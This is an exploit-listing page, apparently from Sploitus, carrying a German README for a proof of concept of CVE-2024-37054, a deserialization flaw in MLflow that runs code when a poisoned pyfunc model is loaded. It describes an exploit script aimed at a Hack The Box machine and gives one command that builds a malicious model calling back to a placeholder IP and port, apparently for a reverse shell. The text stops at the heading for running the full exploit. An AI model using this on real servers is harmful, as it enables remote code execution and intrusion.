Sploitus

Exploit for CVE-2024-37054-PoC

kitploit · 2026-08-26

Exploit Code

MARKDOWN25 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JIMMEXPLOIT-CVE-2024-37054-POC
# Beschreibung

Proof of Concept für CVE-2024-37054, eine kritische Deserialisierungsschwachstelle in MLflow-Versionen 0.9.0 bis 2.14.1. Wenn ein bösartiges pyfunc-Modell über `mlflow.pyfunc.load_model()` geladen wird, führt das gepicklete Payload beliebigen Code aus.

## Dateien

  * `exploit.py` — vollständiger Exploit: registrieren, trainieren, hochladen, auslösen (für HTB SmartHire Machine)
  * `build_model.py` — böswilliges Modell lokal erstellen (nur Erstellung)



## Verwendung

### Modell lokal erstellen

root@kitploit:~
    
    
    python3 build_model.py --lhost YOUR_IP --lport 4444
    

### Vollständigen Exploit ausführen

root@kitploit:~